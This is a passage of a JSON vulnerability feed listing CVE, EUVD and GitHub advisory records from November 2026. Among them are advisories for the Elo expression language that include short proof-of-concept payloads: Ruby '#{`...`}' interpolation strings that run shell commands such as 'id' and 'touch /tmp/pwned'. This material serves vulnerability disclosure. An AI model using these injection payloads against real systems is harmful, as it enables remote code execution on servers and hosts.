/tmp/pwn_dp_ruby`)]\n```\n\nAll ten end-to-end cases are automated in the `ast-exec.js` / `ast-exec2.js` scripts attached to the original report; each `console.log` and sentinel file was observed.\n\n### Independence from GHSA #2\n\nThis finding is independent of **GHSA #2** (the `.constructor.constructor` sandbox escape). That report covers payloads delivered as plain Elo *strings* through the parser; the present advisory covers payloads delivered as AST *objects* through the programmatic API. The two threat models do not overlap: GHSA #2's identifier regex `^[a-zA-Z_][a-zA-Z0-9_]*$` accepts `constructor` (and is the right behaviour for a parser), while the present advisory adds runtime validation at every backend emit site so that AST-API consumers cannot inject arbitrary text into emitted source.","published_time":"2026-11-03T17:48:09Z","modified_time":"2026-11-03T17:48:09Z","withdrawn_time":null,"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"}],"affected":[{"package":{"ecosystem":"npm","name":"@enspirit/elo"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.1"}]}],"database_specific":{"last_known_affected_version_range":"<= 1.0.0"}}],"references":[{"type":"WEB","url":"https://github.com/enspirit/elo/security/advisories/GHSA-x9rp-7wh3-2rj5"},{"type":"WEB","url":"https://github.com/enspirit/elo/commit/d2a89a8db76a244eb740687524a7e8529b7554b5"},{"type":"WEB","url":"https://github.com/enspirit/elo/commit/fb57dd37a2669d9c412454225c5b89a2adba5d93"},{"type":"PACKAGE","url":"https://github.com/enspirit/elo"}],"cwe_ids":["CWE-20","CWE-749","CWE-89","CWE-94"],"github_severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-11-03T17:48:09Z"}},{"cve_id":"CVE-2026-44266","summary":"Elo is a purely functional expression language for no-code tools. Prior to 1.0.1, the Ruby backend in src/compilers/ruby.ts embeds attacker-controlled text in Ruby double-quoted strings without escaping #, so Ruby interpolation forms in the string-literal emitter or the labelled subtype-constraint branch become executable Ruby. The affected entry points include the /try playground with the Ruby target, bin/eloc -t ruby -x, and defaultFormats.elo.parse() followed by Ruby emission. A failing labelled subtype constraint evaluates its message, while an ordinary string literal is evaluated when the compiled Ruby runs, allowing Ruby code and shell command execution through backticks. JavaScript, Python, and SQL emission are not affected by this Ruby-specific path. This issue is fixed in version 1.0.1.","cvss":9.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":9.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/enspirit/elo/commit/51b869963fbe445c18328714a7ccfbd76b21ba38","https://github.com/enspirit/elo/commit/d2a89a8db76a244eb740687524a7e8529b7554b5","https://github.com/enspirit/elo/security/advisories/GHSA-7w38-ggh5-v542","https://github.com/enspirit/elo/security/advisories/GHSA-7w38-ggh5-v542"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T18:18:02","euvd":{"id":"EUVD-2026-116110","description":"Elo is a purely functional expression language for no-code tools. Prior to 1.0.1, the Ruby backend in src/compilers/ruby.ts embeds attacker-controlled text in Ruby double-quoted strings without escaping #, so Ruby interpolation forms in the string-literal emitter or the labelled subtype-constraint branch become executable Ruby. The affected entry points include the /try playground with the Ruby target, bin/eloc -t ruby -x, and defaultFormats.elo.parse() followed by Ruby emission. A failing labelled subtype constraint evaluates its message, while an ordinary string literal is evaluated when the compiled Ruby runs, allowing Ruby code and shell command execution through backticks. JavaScript, Python, and SQL emission are not affected by this Ruby-specific path. This issue is fixed in version 1.0.1.","published_time":"2026-11-03T17:51:12","cvss":9.8,"cvss_version":"3.1","epss":0.0,"assigner":"GitHub_M","references":["https://github.com/enspirit/elo/security/advisories/GHSA-7w38-ggh5-v542","https://github.com/enspirit/elo/commit/51b869963fbe445c18328714a7ccfbd76b21ba38","https://github.com/enspirit/elo/commit/d2a89a8db76a244eb740687524a7e8529b7554b5"],"products":["elo"],"vendors":["enspirit"]},"ghsa":{"id":"GHSA-7w38-ggh5-v542","summary":"Elo Ruby backend has Remote Code Execution via unescaped `#{...}` interpolation in emitted string literals and subtype-constraint labels","details":"### Summary\n\nElo's Ruby backend emits attacker-controlled text into Ruby double-quoted strings without escaping the `#` character. Because `#` begins Ruby's interpolation sequences — `#{expr}`, `#@ivar`, `#@@cvar`, `#$gvar` — and any expression wrapped in `#{...}` may use backticks for shell execution, an Elo program that contains a crafted string literal or a labelled subtype constraint compiles to Ruby that evaluates attacker-chosen Ruby, and through backticks runs attacker-chosen shell commands, at runtime.\n\nThe same Elo source compiled to JavaScript, Python, or SQL is benign, so the bug also breaks the cross-target portability guarantee the rest of the compiler honours.\n\n### Vulnerable sinks\n\nTwo sinks exist in `src/compilers/ruby.ts` at commit `749af7b`:\n\n1. **String-literal emitter — lines 180–184.**\n   The emitter escapes backslash, double quote, and control characters, but not `#`. Any `#{...}` sequence in an Elo string literal flows straight into the emitted Ruby source.\n\n2. **Labelled subtype-constraint branch — lines 405–412.**\n   The error message passed to `p_fail(p, \"...\")` is wrapped in a Ruby double-quoted string with no escape pass at all. Because the parser at `src/parser.ts:1339–1348` accepts single-quoted Elo strings as constraint labels, a label such as `'#{` `` `id` `` `}'` flows unchanged into the emitted Ruby.\n\n### Attack surfaces\n\nAll three surfaces share the same root cause (the missing `#` escape in the Ruby double-quoted-string emission path) and are addressed by the same patch:\n\n| # | Entry point | Threat model |\n|---|---|---|\n| 1 | `/try` playground on elo-lang.org (Ruby target) | 0-click server-side RCE against elo-lang.org infrastructure from a shared PoC URL |\n| 2 | `bin/eloc -t ruby -x` on a CI or DevOps host | RCE on any host that passes Elo strings through the CLI |\n| 3 | Library API — `defaultFormats.elo.parse()` with a Ruby emission step | Ruby RCE for any downstream integrator using Elo as a rule engine, configuration DSL, or form builder DSL (the primary documented use cases) |\n\n### Proof of Concept\n\n**String-literal sink:**\n\n```\n# poc.elo\n'RES=#{`id 2>&1`}'\n```\n\n```\n$ eloc -t ruby -x poc.elo\n# emitted Ruby contains:  \"RES=#{`id 2>&1`}\"\n# running it returns the output of id(1).\n```\n\nReplacing `` `id 2>&1` `` with `` `touch /tmp/pwned` `` produces a trivially observable filesystem side effect.\n\n**Subtype-constraint label sink:**\n\n```\n# poc-subtype.elo\nlet X = Int(i | '#{`touch /tmp/pwned2`}': i > 0) in X(-1)\n```\n\nThe predicate fails for `-1`, causing `p_fail(p, \"#{...}\")` to interpolate and execute the backtick command at the Ruby layer.\n\nBoth flows are automated in the reproduction script submitted with the original report and were verified against Ruby 3.x.\n\n### Root cause\n\nThe Ruby-emitter's double-quoted-string escape routine omitted `#` from its character set, and one emission path (the subtype-constraint label branch) performed no escape pass at all.","published_time":"2026-11-03T17:51:30Z","modified_time":"2026-11-03T17:51:30Z","withdrawn_time":null,"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}],"affected":[{"package":{"ecosystem":"npm","name":"@enspirit/elo"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.1"}]}],"database_specific":{"last_known_affected_version_range":"<= 1.0.0"}}],"references":[{"type":"WEB","url":"https://github.com/enspirit/elo/security/advisories/GHSA-7w38-ggh5-v542"},{"type":"WEB","url":"https://github.com/enspirit/elo/commit/51b869963fbe445c18328714a7ccfbd76b21ba38"},{"type":"WEB","url":"https://github.com/enspirit/elo/commit/d2a89a8db76a244eb740687524a7e8529b7554b5"},{"type":"PACKAGE","url":"https://github.com/enspirit/elo"}],"cwe_ids":["CWE-116","CWE-1336","CWE-94"],"github_severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2026-11-03T17:51:30Z"}},{"cve_id":"CVE-2026-121624","summary":"Nanosystems Supremo for Windows and macOS before 5.0.2.3874 contains an improper certificate validation vulnerability that allows adjacent attackers to intercept TLS connections by presenting untrusted certificates. Attackers on the same network can terminate and relay the client's TLS session using self-signed certificates to read usernames, SHA-256 password hashes, and license codes.","cvss":7.6,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":6.8,"cvss_v4":7.6,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://pusi77.eu.org/blog/2026-11-03-supremo-tls-cve","https://www.supremocontrol.com/","https://www.supremocontrol.com/changelog/","https://www.vulncheck.com/advisories/nanosystems-supremo-before-5.0.2.3874-improper-tls-certificate-validation"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T18:17:58","euvd":{"id":"EUVD-2026-116099","description":"Nanosystems Supremo for Windows and macOS before 5.0.2.3874 contains an improper certificate validation vulnerability that allows adjacent attackers to intercept TLS connections by presenting untrusted certificates. Attackers on the same network can terminate and relay the client's TLS session using self-signed certificates to read usernames, SHA-256 password hashes, and license codes.","published_time":"2026-11-03T17:13:52","cvss":7.6,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://pusi77.eu.org/blog/2026-11-03-supremo-tls-cve","https://www.supremocontrol.com/changelog/","https://www.supremocontrol.com/","https://www.vulncheck.com/advisories/nanosystems-supremo-before-5.0.2.3874-improper-tls-certificate-validation"],"products":["Supremo"],"vendors":["Nanosystems"]},"ghsa":null},{"cve_id":"CVE-2026-121625","summary":"GNU Gatekeeper (gnugk) before 5.16 contains an out-of-bounds read vulnerability in ParseRTCP() in ProxyChannel.cxx that allows remote RTP peers to read heap memory past received packets. Attackers can send RTCP SDES items lacking a NUL byte to the media proxy port during proxied H.323 calls with EnableRTCPStats enabled, crashing the gatekeeper.","cvss":6.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":3.7,"cvss_v4":6.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/willamowius/gnugk","https://github.com/willamowius/gnugk/blob/v5_15/ProxyChannel.cxx#L14867-L14895","https://github.com/willamowius/gnugk/commit/e8939d03b0b2ef46e356f3144a6ee14f2920b777","https://github.com/willamowius/gnugk/releases/tag/v5_16","https://www.vulncheck.com/advisories/gnu-gatekeeper-before-5.16-out-of-bounds-read-via-rtcp-sdes-parsing"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T18:17:58","euvd":{"id":"EUVD-2026-116100","description":"GNU Gatekeeper (gnugk) before 5.16 contains an out-of-bounds read vulnerability in ParseRTCP() in ProxyChannel.cxx that allows remote RTP peers to read heap memory past received packets. Attackers can send RTCP SDES items lacking a NUL byte to the media proxy port during proxied H.323 calls with EnableRTCPStats enabled, crashing the gatekeeper.","published_time":"2026-11-03T17:13:52","cvss":6.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/willamowius/gnugk/commit/e8939d03b0b2ef46e356f3144a6ee14f2920b777","https://github.com/willamowius/gnugk/releases/tag/v5_16","https://github.com/willamowius/gnugk/blob/v5_15/ProxyChannel.cxx#L14867-L14895","https://github.com/willamowius/gnugk","https://www.vulncheck.com/advisories/gnu-gatekeeper-before-5.16-out-of-bounds-read-via-rtcp-sdes-parsing"],"products":["gnugk"],"vendors":["willamowius"]},"ghsa":null},{"cve_id":"CVE-2026-121626","summary":"GNU Gatekeeper (gnugk) before 5.16 contains an out-of-bounds read vulnerability in H46024Socket::ReceivedProbePacket() that allows remote attackers to cause a heap over-read by sending short probe packets. Attackers can send a short application-defined RTCP packet to the media port during H.460.24 probing to read past the heap allocation and possibly crash the gatekeeper.","cvss":6.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":3.7,"cvss_v4":6.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/willamowius/gnugk","https://github.com/willamowius/gnugk/blob/v5_15/GkClient.cxx#L963-L990","https://github.com/willamowius/gnugk/commit/160aa27344ecc9a443cccaa63e8d7fa95a766610","https://github.com/willamowius/gnugk/releases/tag/v5_16","https://www.vulncheck.com/advisories/gnu-gatekeeper-before-5.16-out-of-bounds-read-in-h-460.24-rtcp-probe-handler"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T18:17:58","euvd":{"id":"EUVD-2026-116101","description":"GNU Gatekeeper (gnugk) before 5.16 contains an out-of-bounds read vulnerability in H46024Socket::ReceivedProbePacket() that allows remote attackers to cause a heap over-read by sending short probe packets. Attackers can send a short application-defined RTCP packet to the media port during H.460.24 probing to read past the heap allocation and possibly crash the gatekeeper.","published_time":"2026-11-03T17:13:53","cvss":6.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/willamowius/gnugk/commit/160aa27344ecc9a443cccaa63e8d7fa95a766610","https://github.com/willamowius/gnugk/releases/tag/v5_16","https://github.com/willamowius/gnugk/blob/v5_15/GkClient.cxx#L963-L990","https://github.com/willamowius/gnugk","https://www.vulncheck.com/advisories/gnu-gatekeeper-before-5.16-out-of-bounds-read-in-h-460.24-rtcp-probe-handler"],"products":["gnugk"],"vendors":["willamowius"]},"ghsa":null},{"cve_id":"CVE-2026-121627","summary":"buku 5.0 through 5.1.1 contains a stored cross-site scripting vulnerability in the bukuserver bookmark list that allows attackers to execute script via an unescaped bookmark URL in BookmarkModelView._list_entry(). Attackers can submit a URL containing a double quote and event handler through the unauthenticated /api/bookmarks endpoint to issue same-origin API requests with viewers' credentials.","cvss":5.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":6.1,"cvss_v4":5.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/jarun/buku","https://github.com/jarun/buku/blob/v5.1.1/bukuserver/views.py#L133","https://github.com/jarun/buku/issues/911","https://www.vulncheck.com/advisories/buku-5.0-through-5.1.1-stored-xss-via-bukuserver-bookmark-list-url"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T18:17:58","euvd":{"id":"EUVD-2026-116102","description":"buku 5.0 through 5.1.1 contains a stored cross-site scripting vulnerability in the bukuserver bookmark list that allows attackers to execute script via an unescaped bookmark URL in BookmarkModelView._list_entry(). Attackers can submit a URL containing a double quote and event handler through the unauthenticated /api/bookmarks endpoint to issue same-origin API requests with viewers' credentials.","published_time":"2026-11-03T17:13:53","cvss":5.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/jarun/buku/issues/911","https://github.com/jarun/buku/blob/v5.1.1/bukuserver/views.py#L133","https://github.com/jarun/buku","https://www.vulncheck.com/advisories/buku-5.0-through-5.1.1-stored-xss-via-bukuserver-bookmark-list-url"],"products":["buku"],"vendors":["jarun"]},"ghsa":null},{"cve_id":"CVE-2026-121628","summary":"Bagisto before 2.3.16 and 2.4.x before 2.4.1 contains a race condition vulnerability in manageCartRule() that allows attackers to redeem single-use coupons multiple times. Attackers can submit concurrent order requests to the onepage orders checkout endpoint, bypassing unlocked times_used checks to apply discounts repeatedly.","cvss":6.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":3.7,"cvss_v4":6.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://gist.github.com/Ayxpp/5358d9fff045e94e0ddb51677ed5d195","https://github.com/bagisto/bagisto","https://github.com/bagisto/bagisto/blob/v2.4.0/packages/Webkul/CartRule/src/Listeners/Order.php#L30-L95","https://github.com/bagisto/bagisto/commit/1f57c10eb9cb61b37de4706ffa439fd26aa7c405","https://github.com/bagisto/bagisto/commit/81cb2a2a35b355492f704fd216d679f2145a5650","https://github.com/bagisto/bagisto/releases/tag/v2.3.16","https://github.com/bagisto/bagisto/releases/tag/v2.4.1","https://www.vulncheck.com/advisories/bagisto-before-2.3.16-and-2.4-x-before-2.4.1-race-condition-in-coupon-usage-accounting"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T18:17:58","euvd":{"id":"EUVD-2026-116103","description":"Bagisto before 2.3.16 and 2.4.x before 2.4.1 contains a race condition vulnerability in manageCartRule() that allows attackers to redeem single-use coupons multiple times. Attackers can submit concurrent order requests to the onepage orders checkout endpoint, bypassing unlocked times_used checks to apply discounts repeatedly.","published_time":"2026-11-03T17:13:54","cvss":6.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/bagisto/bagisto/commit/81cb2a2a35b355492f704fd216d679f2145a5650","https://github.com/bagisto/bagisto/commit/1f57c10eb9cb61b37de4706ffa439fd26aa7c405","https://github.com/bagisto/bagisto/releases/tag/v2.3.16","https://github.com/bagisto/bagisto/releases/tag/v2.4.1","https://gist.github.com/Ayxpp/5358d9fff045e94e0ddb51677ed5d195","https://github.com/bagisto/bagisto/blob/v2.4.0/packages/Webkul/CartRule/src/Listeners/Order.php#L30-L95","https://github.com/bagisto/bagisto","https://www.vulncheck.com/advisories/bagisto-before-2.3.16-and-2.4-x-before-2.4.1-race-condition-in-coupon-usage-accounting"],"products":["Bagisto","Bagisto"],"vendors":["Bagisto"]},"ghsa":null},{"cve_id":"CVE-2026-121263","summary":"A vulnerability was determined in phpMyAdmin MoTranslator up to 6.0.1. The impacted element is the function Loader::getTranslator of the file motranslator-master/src/Loader.php. Executing a manipulation of the argument locale can lead to path traversal. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.","cvss":2.1,"cvss_version":4.0,"cvss_v2":6.5,"cvss_v3":6.3,"cvss_v4":2.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://gist.github.com/Ishanoshada/42eb6d8737aef38e133afb04fd2e52e8","https://vuldb.com/cve/CVE-2026-121263","https://vuldb.com/submit/1018559","https://vuldb.com/vuln/430229","https://vuldb.com/vuln/430229/cti"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T18:17:57","euvd":{"id":"EUVD-2026-116104","description":"A vulnerability was determined in phpMyAdmin MoTranslator up to 6.0.1. The impacted element is the function Loader::getTranslator of the file motranslator-master/src/Loader.php. Executing a manipulation of the argument locale can lead to path traversal. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.","published_time":"2026-11-03T17:15:08","cvss":5.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulDB","references":["https://vuldb.com/vuln/430229","https://vuldb.com/vuln/430229/cti","https://vuldb.com/cve/CVE-2026-121263","https://vuldb.com/submit/1018559","https://gist.github.com/Ishanoshada/42eb6d8737aef38e133afb04fd2e52e8"],"products":["MoTranslator","MoTranslator"],"vendors":["phpMyAdmin"]},"ghsa":null},{"cve_id":"CVE-2026-116845","summary":"NetBox from 2.9.0 before 4.7.4 contains a broken access control vulnerability in BulkComponentCreateView that allows authenticated users to bypass view permissions on parent devices and virtual machines. Attackers with add-component permission can submit arbitrary device or VM IDs, or _all with filters, to view out-of-scope device details and create components on them.","cvss":5.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":5.4,"cvss_v4":5.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/netbox-community/netbox/blob/v4.7.3/netbox/netbox/views/generic/bulk_views.py#L1340-L1352","https://github.com/netbox-community/netbox/commit/350ac040cc91359bc0c52066f5df1bc9eba98196","https://github.com/netbox-community/netbox/issues/23467","https://github.com/netbox-community/netbox/pull/23468","https://github.com/netbox-community/netbox/releases/tag/v4.7.4","https://www.vulncheck.com/advisories/netbox-from-2.9.0-before-4.7.4-authorization-bypass-via-bulkcomponentcreateview","https://github.com/netbox-community/netbox/issues/23467"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T18:17:54","euvd":{"id":"EUVD-2026-116109","description":"NetBox from 2.9.0 before 4.7.4 contains a broken access control vulnerability in BulkComponentCreateView that allows authenticated users to bypass view permissions on parent devices and virtual machines. Attackers with add-component permission can submit arbitrary device or VM IDs, or _all with filters, to view out-of-scope device details and create components on them.","published_time":"2026-11-03T17:49:34","cvss":5.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/netbox-community/netbox/issues/23467","https://github.com/netbox-community/netbox/pull/23468","https://github.com/netbox-community/netbox/commit/350ac040cc91359bc0c52066f5df1bc9eba98196","https://github.com/netbox-community/netbox/releases/tag/v4.7.4","https://github.com/netbox-community/netbox/blob/v4.7.3/netbox/netbox/views/generic/bulk_views.py#L1340-L1352","https://www.vulncheck.com/advisories/netbox-from-2.9.0-before-4.7.4-authorization-bypass-via-bulkcomponentcreateview"],"products":["NetBox"],"vendors":["netbox-community"]},"ghsa":null},{"cve_id":"CVE-2026-97072","summary":"Missing Authorization vulnerability in myCred myCred mycred allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects myCred: from n/a through 4.0.2.","cvss":4.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":4.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://patchstack.com/database/wordpress/plugin/mycred/vulnerability/wordpress-mycred-plugin-4-0-2-broken-access-control-vulnerability-3?_s_id=cve"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T17:18:16","euvd":{"id":"EUVD-2026-116096","description":"Missing Authorization vulnerability in myCred myCred mycred allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects myCred: from n/a through 4.0.2.","published_time":"2026-11-03T17:02:23","cvss":4.3,"cvss_version":"3.1","epss":0.0,"assigner":"Patchstack","references":["https://patchstack.com/database/wordpress/plugin/mycred/vulnerability/wordpress-mycred-plugin-4-0-2-broken-access-control-vulnerability-3?_s_id=cve"],"products":["myCred"],"vendors":["myCred"]},"ghsa":null},{"cve_id":"CVE-2026-38600","summary":"A Zip Slip vulnerability in the /upload endpoint of codeskyblue gohttpserver through v1.3.0 allows attackers to write arbitrary files via uploading a crafted Zip archive.","cvss":9.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":9.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/Den-Sec/security-research/blob/master/advisories/gohttpserver/VDR-001-zipslip.md","https://github.com/codeskyblue/gohttpserver","https://github.com/codeskyblue/gohttpserver/issues/232","https://security.snyk.io/research/zip-slip-vulnerability","https://github.com/Den-Sec/security-research/blob/master/advisories/gohttpserver/VDR-001-zipslip.md"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T17:18:13","euvd":{"id":"EUVD-2026-116107","description":"A Zip Slip vulnerability in the /upload endpoint of codeskyblue gohttpserver through v1.3.0 allows attackers to write arbitrary files via uploading a crafted Zip archive.","published_time":"2026-11-03T00:00:00","cvss":9.8,"cvss_version":"3.1","epss":0.0,"assigner":"mitre","references":["https://security.snyk.io/research/zip-slip-vulnerability","https://github.com/codeskyblue/gohttpserver","https://github.com/codeskyblue/gohttpserver/issues/232","https://github.com/Den-Sec/security-research/blob/master/advisories/gohttpserver/VDR-001-zipslip.md"],"products":["n/a"],"vendors":["n/a"]},"ghsa":null},{"cve_id":"CVE-2026-38601","summary":"A hardcoded session secret key in codeskyblue gohttpserver through v1.3.0 allows attackers to impersonate any user, bypass OpenID Connect authentication and access all controls via forged session cookies.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/Den-Sec/security-research/blob/master/advisories/gohttpserver/VDR-002-hardcoded-secret.md","https://github.com/codeskyblue/gohttpserver","https://github.com/codeskyblue/gohttpserver/issues/232"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T17:18:13","euvd":{"id":"EUVD-2026-116105","description":"A hardcoded session secret key in codeskyblue gohttpserver through v1.3.0 allows attackers to impersonate any user, bypass OpenID Connect authentication and access all controls via forged session cookies.","published_time":"2026-11-03T00:00:00","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"mitre","references":["https://github.com/codeskyblue/gohttpserver","https://github.com/codeskyblue/gohttpserver/issues/232","https://github.com/Den-Sec/security-research/blob/master/advisories/gohttpserver/VDR-002-hardcoded-secret.md"],"products":["n/a"],"vendors":["n/a"]},"ghsa":null},{"cve_id":"CVE-2026-39743","summary":"Missing Authorization vulnerability in WC Lovers WCFM Membership wc-multivendor-membership allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WCFM Membership: from n/a through 2.12.0.","cvss":5.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":5.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://patchstack.com/database/wordpress/plugin/wc-multivendor-membership/vulnerability/wordpress-wcfm-membership-plugin-2-12-0-broken-access-control-vulnerability?_s_id=cve"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T17:18:13","euvd":{"id":"EUVD-2026-116084","description":"Missing Authorization vulnerability in WC Lovers WCFM Membership wc-multivendor-membership allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WCFM Membership: from n/a through 2.12.0.","published_time":"2026-11-03T16:44:44","cvss":5.3,"cvss_version":"3.1","epss":0.0,"assigner":"Patchstack","references":["https://patchstack.com/database/wordpress/plugin/wc-multivendor-membership/vulnerability/wordpress-wcfm-membership-plugin-2-12-0-broken-access-control-vulnerability?_s_id=cve"],"products":["WCFM Membership"],"vendors":["WC Lovers"]},"ghsa":null},{"cve_id":"CVE-2026-39777","summary":"Missing Authorization vulnerability in WC Lovers WCFM Membership wc-multivendor-membership allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WCFM Membership: from n/a through 2.12.0.","cvss":4.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":4.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://patchstack.com/database/wordpress/plugin/wc-multivendor-membership/vulnerability/wordpress-wcfm-membership-plugin-2-12-0-broken-access-control-vulnerability-2?_s_id=cve"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T17:18:13","euvd":{"id":"EUVD-2026-116090","description":"Missing Authorization vulnerability in WC Lovers WCFM Membership wc-multivendor-membership allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WCFM Membership: from n/a through 2.12.0.","published_time":"2026-11-03T16:55:05","cvss":4.3,"cvss_version":"3.1","epss":0.0,"assigner":"Patchstack","references":["https://patchstack.com/database/wordpress/plugin/wc-multivendor-membership/vulnerability/wordpress-wcfm-membership-plugin-2-12-0-broken-access-control-vulnerability-2?_s_id=cve"],"products":["WCFM Membership"],"vendors":["WC Lovers"]},"ghsa":null},{"cve_id":"CVE-2026-28327","summary":"SolarWinds Dameware was found to be affected by a DLL hijacking vulnerability. The hijack occurs during installations only and requires access to the local machine and admin privileges.","cvss":8.2,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.2,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://documentation.solarwinds.com/en/success_center/dameware/content/release_notes/dameware_2026-3-1_release_notes.htm","https://www.solarwinds.com/trust-center/security-advisories/CVE-2026-28327"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T17:18:12","euvd":{"id":"EUVD-2026-116030","description":"SolarWinds Dameware was found to be affected by a DLL hijacking vulnerability. The hijack occurs during installations only and requires access to the local machine and admin privileges.","published_time":"2026-11-03T16:21:32","cvss":8.2,"cvss_version":"3.1","epss":0.0,"assigner":"SolarWinds","references":["https://documentation.solarwinds.com/en/success_center/dameware/content/release_notes/dameware_2026-3-1_release_notes.htm","https://www.solarwinds.com/trust-center/security-advisories/CVE-2026-28327"],"products":["Dameware"],"vendors":["SolarWinds "]},"ghsa":null},{"cve_id":"CVE-2026-28335","summary":"SolarWinds Dameware was found to be affected by a buffer overflow vulnerability that can result in remote code execution. Authentication is required.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://https://documentation.solarwinds.com/en/success_center/dameware/content/release_notes/dameware_2026-3-1_release_notes.htm","https://www.solarwinds.com/trust-center/security-advisories/CVE-2026-28335"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T17:18:12","euvd":{"id":"EUVD-2026-116032","description":"SolarWinds Dameware was found to be affected by a buffer overflow vulnerability that can result in remote code execution. Authentication is required.","published_time":"2026-11-03T16:23:02","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"SolarWinds","references":["https://https://documentation.solarwinds.com/en/success_center/dameware/content/release_notes/dameware_2026-3-1_release_notes.htm","https://www.solarwinds.com/trust-center/security-advisories/CVE-2026-28335"],"products":["Dameware"],"vendors":["SolarWinds "]},"ghsa":null},{"cve_id":"CVE-2026-28336","summary":"SolarWinds Dameware was found to be affected by a command injection vulnerability that could lead to the compromise of the remotely controlled host. Authentication is required.","cvss":9.9,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":9.9,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://documentation.solarwinds.com/en/success_center/dameware/content/release_notes/dameware_2026-3-1_release_notes.htm","https://www.solarwinds.com/trust-center/security-advisories/CVE-2026-28336"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T17:18:12","euvd":{"id":"EUVD-2026-116033","description":"SolarWinds Dameware was found to be affected by a command injection vulnerability that could lead to the compromise of the remotely controlled host. Authentication is required.","published_time":"2026-11-03T16:23:19","cvss":9.9,"cvss_version":"3.1","epss":0.0,"assigner":"SolarWinds","references":["https://documentation.solarwinds.com/en/success_center/dameware/content/release_notes/dameware_2026-3-1_release_notes.htm","https://www.solarwinds.com/trust-center/security-advisories/CVE-2026-28336"],"products":["Dameware"],"vendors":["SolarWinds "]},"ghsa":null},{"cve_id":"CVE-2026-38595","summary":"An issue in im3x 